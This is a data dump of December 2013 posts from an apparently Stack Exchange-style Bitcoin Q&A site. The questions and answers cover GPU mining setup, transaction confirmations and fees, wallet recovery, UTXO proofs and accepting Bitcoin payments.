  <row Id="18760" PostTypeId="2" ParentId="18755" CreationDate="2013-12-15T02:23:30.170" Score="1" Body="&lt;p&gt;Bitcoins are created through the block rewards.  The transactions fees don't create coins, they just redistribute them.  So, once the block reward goes to 0, there will be no more bitcoins created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for deflationary problems, the code can always be changed to re-implement the block rewards.  You just need to get the majority of the nodes to run the new code so the new blocks will be accepted.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-15T02:23:30.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18761" PostTypeId="1" CreationDate="2013-12-15T02:55:49.793" Score="1" ViewCount="408" Body="&lt;p&gt;This morning I attempted to send BTC to my Bter account from my Mt Gox account. I sent them and they seemed to reappear. I sent them again and there was a little left over, I sent that. Now the smaller amount went through but the larger amount never got there. Here are the links &lt;a href=&quot;https://blockchain.info/address/13RcWHLciYf5gdaEQ2hjELmzJvBuHEbwdb&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt; and &lt;a href=&quot;http://blockexplorer.com/address/13RcWHLciYf5gdaEQ2hjELmzJvBuHEbwdb&quot; rel=&quot;nofollow&quot;&gt;(2)&lt;/a&gt; in blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my wallet address: &lt;code&gt;13RcWHLciYf5gdaEQ2hjELmzJvBuHEbwdb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get no reply from Bter or Mt Gox. Please let me know what you think.&lt;/p&gt;&#xA;" OwnerUserId="10848" LastEditorUserId="15412" LastEditDate="2014-07-14T14:36:42.427" LastActivityDate="2015-01-10T19:18:20.127" Title="Bitcoins Stuck?" Tags="|transactions|blockchain|mtgox|bter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18762" PostTypeId="1" CreationDate="2013-12-15T04:10:16.130" Score="2" ViewCount="481" Body="&lt;p&gt;How does transaction confirmation work in bitcoin-qt? I suppose, client does not have addresses index with balance on each of them (because there is not such console/bitcoind commands). Looking through all of the blocks - it is too slow.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2013-12-15T08:31:55.370" Title="Transaction confirmation" Tags="|transactions|confirmations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18763" PostTypeId="2" ParentId="18712" CreationDate="2013-12-15T04:54:06.247" Score="1" Body="&lt;p&gt;I Have seen comments that having less ram on your motherboard than in one of your GPUs can significantly reduce the hash rate. If your only running 2GB ram, but your cards have 3, so try 4GB ram on your mobo and see if that makes a diference&lt;/p&gt;&#xA;" OwnerUserId="10850" LastActivityDate="2013-12-15T04:54:06.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18764" PostTypeId="1" CreationDate="2013-12-15T05:14:13.927" Score="1" ViewCount="15189" Body="&lt;p&gt;I have 3 computers that I want to use for mining when idle. 2 of them are windows 7 one of the is windows 8 all three are x64 base. two of them have 7700hd ATI cards and the third has a 7870HD XFX. All three are having same issue. No output. No GPU found on the devices. All three computes have same look on the screen no devices found. I have used catalyst drivers from V12.8-V13.11 and same with the SDKs I have used different versions of CGminer (V2.11.4 just crashes on startup). I would like to blow out the CPU's as well but that's another issue all together. My command lines along with my startup screens are below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please include your bitcoin/litecoin address with reply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        cgminer -o ltc.give-me-coins.com:3333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CGMiner &lt;/p&gt;&#xA;&#xA;&lt;h2&gt; cgminer version 3.8.5 - Started: [2013-12-14 16:02:44]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(5s):0.000 (avg):0.000h/s | A:0  R:0  HW:0  WU:0.0/m&#xA; ST: 2  SS: 0  NB: 1  LW: 2  GF: 0  RF: 0&#xA; Connected to ltc.give-me-coins.com diff 16 with stratum as user &lt;/p&gt;&#xA;&#xA;&lt;h2&gt; Block: cd82d7df...  Diff:2.93K  Started: [16:02:44]  Best share: 0&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt; [P]ool management [S]ettings [D]isplay options [Q]uit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;[2013-12-14 16:02:38] Started cgminer 3.8.5&#xA; [2013-12-14 16:02:40] No devices detected!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        bfgminer.exe -o ltc.give-me-coins.com:3333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BFG miner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bfgminer version 3.8.1 - Started: [2013-12-14 16:01:01] - [  0 days 00:01:08]&#xA;[M]anage devices [P]ool management [S]ettings [D]isplay options  [H]elp [Q]uit&#xA;Connected to ltc.give-me-coins.com diff 16 with stratum as user &#xA;Block: ...9616fd46 #479102  Diff:2.93k (20.95Gh/s)  Started: [16:01:01]&#xA;ST:2  F:0  NB:1  AS:0  BW:[631/ 20 B/s]  E:0.00  I: 0.00 BTC/hr  BS:0&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;0            |   0.0/  0.0/  0.0 h/s | A:0 R:0+0(none) HW:0/none&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[2013-12-14 16:01:00] Waiting for devices; press 'M+' to add, or 'Q' to quit&#xA;[2013-12-14 16:01:00] Probing for an alive pool&#xA;[2013-12-14 16:01:01] Pool 0 &lt;a href=&quot;http://ltc.give-me-coins.com:3333&quot; rel=&quot;nofollow&quot;&gt;http://ltc.give-me-coins.com:3333&lt;/a&gt; alive&lt;/p&gt;&#xA;" OwnerUserId="10851" LastEditorUserId="2306" LastEditDate="2017-04-25T20:03:44.577" LastActivityDate="2017-04-25T20:03:44.577" Title="Device not found. NO GPU output 3 Computers same issue?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18765" PostTypeId="2" ParentId="18764" CreationDate="2013-12-15T05:46:50.923" Score="1" Body="&lt;p&gt;Cgminer stopped supporting GPU mining after version 3.7.2  The packages are still available for download in the &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.7/&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;.  You will also want to tweak your settings for optimal mining consider the following resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Bitcoin hardware mining comparison&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Litecoin hardware mining comparison&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will likely find litecoin mining to me most profitable with your setup, however it is up to you to determine your own results.  You will also need to launch cgminer with the --scrypt flag to mine Litecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per your request &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC address:&#xA;16N1P6fDDbV2cLNFe5ZthMeMMZvrEHU2Ug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LTC address:&#xA;LN2T5Stvk6HNUpNCcV6dNzv9k7BoHFA9th&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2013-12-15T05:52:39.703" LastActivityDate="2013-12-15T05:52:39.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18766" PostTypeId="2" ParentId="18762" CreationDate="2013-12-15T06:03:28.293" Score="1" Body="&lt;p&gt;Transaction processing is a function of mining.  Each time a block is found observed transactions become included in the block chain and get one confirmation.  The Bitcoin protocol is designed to have an adjusting difficulty to ensure that blocks are not generated at a speed greater than that&gt;   This ensures the gradual distribution of new coins into the economy as well.  So long story short this is the model that Bitcoin uses and it is one of the few shortcomings of performing transactions.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-15T06:03:28.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18767" PostTypeId="2" ParentId="18761" CreationDate="2013-12-15T07:23:25.580" Score="1" Body="&lt;p&gt;My bet is that your bitcoin-qt client is not fully synced or maybe you haven't received enough confirmations on your transactions. Bitcoin transactions can unfortunately move slow. Larger transactions have this 'transaction fee' that is often requested.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-15T07:23:25.580" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18768" PostTypeId="2" ParentId="18762" CreationDate="2013-12-15T08:31:55.370" Score="0" Body="&lt;p&gt;As transactions occur, the client tracks their effects on its own balances. If you add a new account, it will have to scan all unspent outputs to find any for that account.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-15T08:31:55.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18769" PostTypeId="1" CreationDate="2013-12-15T08:53:56.317" Score="1" ViewCount="216" Body="&lt;p&gt;I have recently managed to recover my walled.dat file from one of my old HDD that got broken in 2012(Nov/Dec) using a disk recovery program &quot;Recover my files v4&quot;. The problem is that every bitcoin client give me &quot;Corrupted wallet, salvage failed&quot; error . &#xA;There is any chance that the program i used to recover my wallet to alter/edit the wallet file or i simply need to use a 2012 version of the bitcoin client ?&lt;/p&gt;&#xA;" OwnerUserId="10853" LastActivityDate="2013-12-15T08:53:56.317" Title="Bitcoin wallet corrupted after recovered from broken HDD" Tags="|wallet|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18770" PostTypeId="2" ParentId="18755" CreationDate="2013-12-15T09:05:24.737" Score="3" Body="&lt;p&gt;The figure of 21 Million is completely arbitrary. It could have been any other number and it would make absolutely no difference, as long as the inflation schedule remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the inflation schedule is universally agreed to be one thing that can never be changed with Bitcoin. Any new code that extends the inflation will no longer be &quot;Bitcoin&quot; and will not be accepted by users of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make any change, it is not enough for the majority of nodes to modify, all nodes must eventually change. Usually it is enough for the economic majority to accept the change to trigger this, but with a change like this the worst that could happen is a fork to two different networks.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-12-15T09:05:24.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18771" PostTypeId="2" ParentId="18755" CreationDate="2013-12-15T10:50:08.803" Score="1" Body="&lt;p&gt;What deflationary problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Banksters have successfully convinced us that deflation is bad it seems. Don't believe it because that little and supposedly good inflation has destroyed the value of the dollar very effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation is not bad and quite normal with sound money. With technological innovation occurring everywhere sound money will buy you more and more as time passes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation can be a practical problem. Think for instance about gold. It can become too expensive for people to buy, hold and handle. Gold is divisible but compared to Bitcoin the divisibility is very poor. The picture below shows how the divisibility can be improved. It shows 50g of gold that is created in such a way you can break it up into smaller pieces. Very low tech.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUFNT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is very divisible, down to eight decimal places. So there are actually 2,099,999,997,690,000 (just over 2 quadrillion) maximum possible atomic units in the Bitcoin system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the system can support a lot of deflation before Bitcoin or units of Bitcoin become too valuable to be practical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however that if it the Bitcoin system achieves widespread adoption, becomes for example the world reserve currency replace the dollar and so forth, we are talking about nothing more than a &lt;em&gt;revolution&lt;/em&gt;. The main economic force in our current system is &lt;em&gt;debt&lt;/em&gt;. (Maybe debt and death) No debt, no growth. In a system with sound money &lt;em&gt;savings&lt;/em&gt; are the driving force. So capitalism. &lt;/p&gt;&#xA;" OwnerUserId="10854" LastActivityDate="2013-12-15T10:50:08.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18772" PostTypeId="1" CreationDate="2013-12-15T12:45:57.760" Score="3" ViewCount="915" Body="&lt;p&gt;I misprint 1 symbol in the password.&lt;br&gt;&#xA;Now I want to brute-force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may write a simple script that will brute-force every symbol.&lt;br&gt;&#xA;Is there any way to check the password from the command line? May be in different bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="10856" LastActivityDate="2014-03-06T03:05:01.030" Title="Recover Multibit password: brute-force" Tags="|multibit|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18773" PostTypeId="1" AcceptedAnswerId="18802" CreationDate="2013-12-15T12:53:49.407" Score="1" ViewCount="4379" Body="&lt;p&gt;I have some 7950 and some R280, can I connect them both on one rig? Will it work normally? Or does system require all GPUs to be same?&lt;/p&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="5406" LastEditDate="2016-03-17T16:01:09.467" LastActivityDate="2016-03-17T16:01:09.467" Title="Can one rig run multiple different graphics cards?" Tags="|litecoin|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18775" PostTypeId="1" CreationDate="2013-12-15T13:29:22.853" Score="6" ViewCount="580" Body="&lt;p&gt;Is there a way to query all unspent outputs for an arbitrary address (which I don't have the private key for), without resorting to a third party service (like Blockchain.info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind apparently only lets you do that with addresses that belong to your wallet, even though it internally maintains the list of all unspent transaction outputs.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="5757" LastEditDate="2014-06-30T12:59:48.500" LastActivityDate="2014-06-30T12:59:48.500" Title="Query unspent outputs for arbitrary address" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18776" PostTypeId="1" CreationDate="2013-12-15T13:36:10.623" Score="2" ViewCount="983" Body="&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=4d3LA8KpdMQ&quot; rel=&quot;nofollow&quot;&gt;This video&lt;/a&gt; discusses how off chain transactions can be accomplished as an alternative to increasing the block size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the 21:25 marker he discusses &quot;UTX 0 Proofs&quot;.  What is that?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-14T14:31:09.037" Title="What is a UTX 0 Proof? (as discussed in this video)" Tags="|offline|off-chain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18777" PostTypeId="2" ParentId="18776" CreationDate="2013-12-15T13:52:49.537" Score="1" Body="&lt;p&gt;UTXO is short for &quot;Unspent Transaction Output&quot;. You can imagine the UTXO set as a set of tuples of the form &lt;code&gt;(txid, index)&lt;/code&gt;. Transactions remove items from that list by claiming the outputs and add new items by allocating the bitcoins from claimed outputs to new outputs. Basically the whole of Bitcoin boils down to agreeing on what the current UTXO looks like, as it tells you how many bitcoins are owned by each address at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UTXO Proof Peter was talking about is a way for a node, that does not store an entire copy of the UTXO set, namely a DHT node, to validate transactions. This is done by querying other nodes in the DHT and retrieving the parts of the UTXO that is needed in order to validate the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that, while there are some ideas on how to implement this, there currently is no prototype.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-12-15T13:52:49.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18778" PostTypeId="1" AcceptedAnswerId="18785" CreationDate="2013-12-15T14:15:10.250" Score="4" ViewCount="3347" Body="&lt;p&gt;Can I use a butterfly-labs miner to mine any crypto-currency?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-03-11T13:13:38.760" LastActivityDate="2016-03-11T13:13:38.760" Title="Which coins can butterfly-labs miners mine" Tags="|asic|mining-hardware|butterfly-labs|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18782" PostTypeId="1" AcceptedAnswerId="18783" CreationDate="2013-12-15T15:28:45.667" Score="3" ViewCount="525" Body="&lt;p&gt;I'm developing a website that will be accepting BTC as a form of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I (technically) know how to accept payments, I'm currently experimenting with the daemon and the Python-BitcoinRPC library and everything seems to work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm asking here is what is, in the opinion of Bitcoins experts, the best way to actually handle the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently testing this method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Payment requested&lt;/li&gt;&#xA;&lt;li&gt;Script asks the Bitcoin daemon to generate a new address&lt;/li&gt;&#xA;&lt;li&gt;Show the new address to the user, ask to pay to that address&lt;/li&gt;&#xA;&lt;li&gt;Script monitors the address&lt;/li&gt;&#xA;&lt;li&gt;When the confirmed amount on that address is equal or greater that the amount to pay, mark the transaction as Payed&lt;/li&gt;&#xA;&lt;li&gt;Transfer the amount from the address to another &quot;main&quot; address where all the payments end up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this method good and secure? I'm particularly unsure about the last point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any experience in this field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm having some issues in sending BTC moved to a address from another address in local (without paying fees).&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2013-12-15T15:43:33.440" Title="How to accept BTC payments" Tags="|confirmations|payment|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18783" PostTypeId="2" ParentId="18782" CreationDate="2013-12-15T15:43:33.440" Score="2" Body="&lt;p&gt;Your work flow looks good, you should wait for a sufficient number of confirmations before  you transaction is fully accepted.  Not sure if you are delivering physical products or digital products,  that could impact how many confirms you choose to wait for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the following RPC API call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; move &amp;lt;fromaccount&amp;gt; &amp;lt;toaccount&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment]  &#xA; Move from one account in your wallet to another&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow you to move funds from one address to another within the same wallet.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-15T15:43:33.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18785" PostTypeId="2" ParentId="18778" CreationDate="2013-12-15T16:16:45.547" Score="3" Body="&lt;p&gt;Look at &lt;a href=&quot;http://dustcoin.com/mining&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/mining&lt;/a&gt;.  The currencies designated as having SHA-256 algorithms (e.g., Bitcoins, PPCoins, Namecoins, and Devcoins) stand a good chance of being mined with BFL-like ASIC mining hardware. Remember, some currencies support merged mining - mine once and get paid in multiple currencies. Either your centralized pool supports merged mining or you have to do it on your own.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-15T16:16:45.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18786" PostTypeId="2" ParentId="18778" CreationDate="2013-12-15T16:31:41.277" Score="1" Body="&lt;p&gt;The Butterfly Labs miners definitely work for Bitcoin, I have one, it works as advertised (better in my case) and mines successfully.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastActivityDate="2013-12-15T16:31:41.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18787" PostTypeId="2" ParentId="18746" CreationDate="2013-12-15T16:53:36.030" Score="1" Body="&lt;p&gt;It a function of the Pool's server policy if they want/need to enforce miner/worker passwords, i.e. requiring formal accounts to be provisioned and  email addresses to be bound to those accounts. You need-to-know your pool's policy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a considerable number of P2Pool servers on the Internet that all aggregate up into p2pool.info's &lt;a href=&quot;http://p2pool.info/&quot; rel=&quot;nofollow&quot;&gt;stats&lt;/a&gt;. Here is the most comprehensive &lt;a href=&quot;http://p2pool-nodes.info/&quot; rel=&quot;nofollow&quot;&gt;P2Pool List&lt;/a&gt; of servers I've found. A P2Pool server I used during 2013/2014 was &lt;a href=&quot;http://pool.fabulouspanda.co.uk:9332&quot; rel=&quot;nofollow&quot;&gt;FaboulusPanda&lt;/a&gt;, now appears to be defunct. (If you have a Mac also see &lt;a href=&quot;http://fabulouspanda.co.uk/macminer/&quot; rel=&quot;nofollow&quot;&gt;http://fabulouspanda.co.uk/macminer/&lt;/a&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with P2Pool servers is they come and go out of business. They are essentially egalitarian &quot;ma and pa&quot; pool shops or hobbyists sharing their pool. For the prior Fabulous Panda service, there was no need to provision an account, only had to configure my miner to use your wallet's public address for the username and password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYSA - Your P2Pool service provider is the entity that manages the Sharechain wallet for your mining operation that uses P2Pool unless you decide to roll out your own P2Pool capabilities from &lt;a href=&quot;http://p2pool.in/&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;. P2Pool software also requires a Bitcoin full node to be running to broadcast any pool winnings out to the Bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2015-02-15T14:27:43.023" LastActivityDate="2015-02-15T14:27:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18788" PostTypeId="2" ParentId="12111" CreationDate="2013-12-15T17:08:37.907" Score="7" Body="&lt;p&gt;For transactions with one input it is hard to guess what is the change and what is the real payment. However because they may be have statistics so they can may be guess that for a ~4 BTC input there are 70% of probability that the change is the bigger output and the money spent the smaller one when both output addresses are new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you have a transaction with several inputs (Like ou have already explained in your question) it is much more easier to guess.&#xA;If you have :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;As input&#xA;1Pi87D6NUPB5BxcuowYN4Lj3WLCSFGsuLN (0.24379822 BTC)&#xA;1PgBMDggd7GGCifDd1881vdvNe8pkn5BWk (0.08787591 BTC)&#xA;&#xA;And as output&#xA;1B6tvnE3oP3mwoA4RMrYXWVup4Z73G6bDw -  0.05377413 BTC&#xA;1DswmdznL6exZzN6akJpsPUc4ZWRZo9JQc - 0.2778 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case you can be pretty sure that the spent address is '1DswmdznL6exZzN6akJpsPUc4ZWRZo9JQc - 0.2778 BTC' and the change '1B6tvnE3oP3mwoA4RMrYXWVup4Z73G6bDw -  0.05377413 BTC'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because otherwise there would be only one input.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2013-12-15T17:14:06.570" LastActivityDate="2013-12-15T17:14:06.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18789" PostTypeId="1" AcceptedAnswerId="18790" CreationDate="2013-12-15T17:26:26.960" Score="2" ViewCount="1114" Body="&lt;p&gt;I've checked with my electricity provider, and I have been told the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unit Rate (per kWh) = 0.1399USD&#xA;Standard Charge (per day) = 0.1645USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While mining, if my computer is using 100w (which is a reading my electric monitor is giving me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I work out how much this miner is costing me per hour in terms of electricity usage?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="5406" LastEditDate="2016-04-02T09:16:15.503" LastActivityDate="2016-04-02T09:16:15.503" Title="Electricity cost of mining" Tags="|mining-profitability|energy-consumption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18790" PostTypeId="2" ParentId="18789" CreationDate="2013-12-15T17:35:02.207" Score="4" Body="&lt;p&gt;Basic Algebra 101:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;100 W = 0.1 kW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.1 (kW) * 0.1399 (USD/kWh) = ~$0.014 (USD/hour)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.1 (kW) * 24 (h/Day) = 2.4 kWh/Day&#xA;&#xA;2.4 (kWh/Day) * 0.1399 (USD/kWh) = $0.3358 (USD/Day)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="5406" LastEditDate="2014-02-09T08:40:11.227" LastActivityDate="2014-02-09T08:40:11.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18791" PostTypeId="2" ParentId="18737" CreationDate="2013-12-15T17:49:08.590" Score="1" Body="&lt;p&gt;I guess you have seen &lt;a href=&quot;https://litecoin.info/Mining_pool_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_pool_comparison&lt;/a&gt;, and you are really interested in finding out Litecoin's equivalent of &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt; to discover the pools that are likely to be around for while?  For a P2Pool LTC mining pool operation, see &lt;a href=&quot;http://pool.fabulouspanda.co.uk:9327/static/&quot; rel=&quot;nofollow&quot;&gt;http://pool.fabulouspanda.co.uk:9327/static/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-15T17:49:08.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18792" PostTypeId="1" AcceptedAnswerId="18803" CreationDate="2013-12-15T18:23:12.553" Score="6" ViewCount="1274" Body="&lt;p&gt;I currently have BTC 0.38 in a wallet on a computer and I want to transfer all those Bitcoins on another machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have the Bitcoins on a relatively new address (it has received 1 payment and also some Bitcoins through the move API call), it wouldn't let me transfer the Bitcoins without paying a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to pay this fee, as it is pretty high for what I'm trying to transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I just have to wait some time before spending them again to be able to do so without this fee? Or should I do something else?&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2014-05-21T19:13:56.207" Title="Transfer BTCs without fees" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18793" PostTypeId="2" ParentId="16682" CreationDate="2013-12-15T18:47:23.753" Score="1" Body="&lt;p&gt;If you don't want the client to generate any private keys for you, it seems what you need is a javascript client that builds and propogates transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a hosted javascript client (everything happens on the client side so there is no security concerns) allows you to provide a private key and build a transaction that way.&lt;/p&gt;&#xA;" OwnerUserId="8701" LastActivityDate="2013-12-15T18:47:23.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18794" PostTypeId="1" CreationDate="2013-12-15T18:52:24.067" Score="0" ViewCount="11357" Body="&lt;p&gt;I have just started Bitcoin mining and am using GUI Miner. I have an AMD 7870 OC edition that is mining for me. Currently i'm getting 380 mhash/s, is this good? Also how many of the accepted shares are worth 1BTC? &lt;/p&gt;&#xA;" OwnerUserId="10871" LastEditorUserId="5406" LastEditDate="2016-04-25T21:19:35.647" LastActivityDate="2016-04-25T21:19:35.647" Title="How much are accepted shares on GUIMiner worth?" Tags="|mining-profitability|hashpower|" AnswerCount="2" CommentCount="0" ClosedDate="2016-04-25T21:19:42.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="18795" PostTypeId="2" ParentId="16917" CreationDate="2013-12-15T19:07:14.977" Score="0" Body="&lt;p&gt;The key benefit of trading Bitcoin against the US Dollar, using the leverage like with other currency pairs is that it allows traders to increase the size of the position with only a limited amount of investment. Check &lt;a href=&quot;http://forex-metal.com&quot; rel=&quot;nofollow&quot;&gt;http://forex-metal.com&lt;/a&gt;, they offer bitcoin trading&lt;/p&gt;&#xA;" OwnerUserId="10874" LastActivityDate="2013-12-15T19:07:14.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
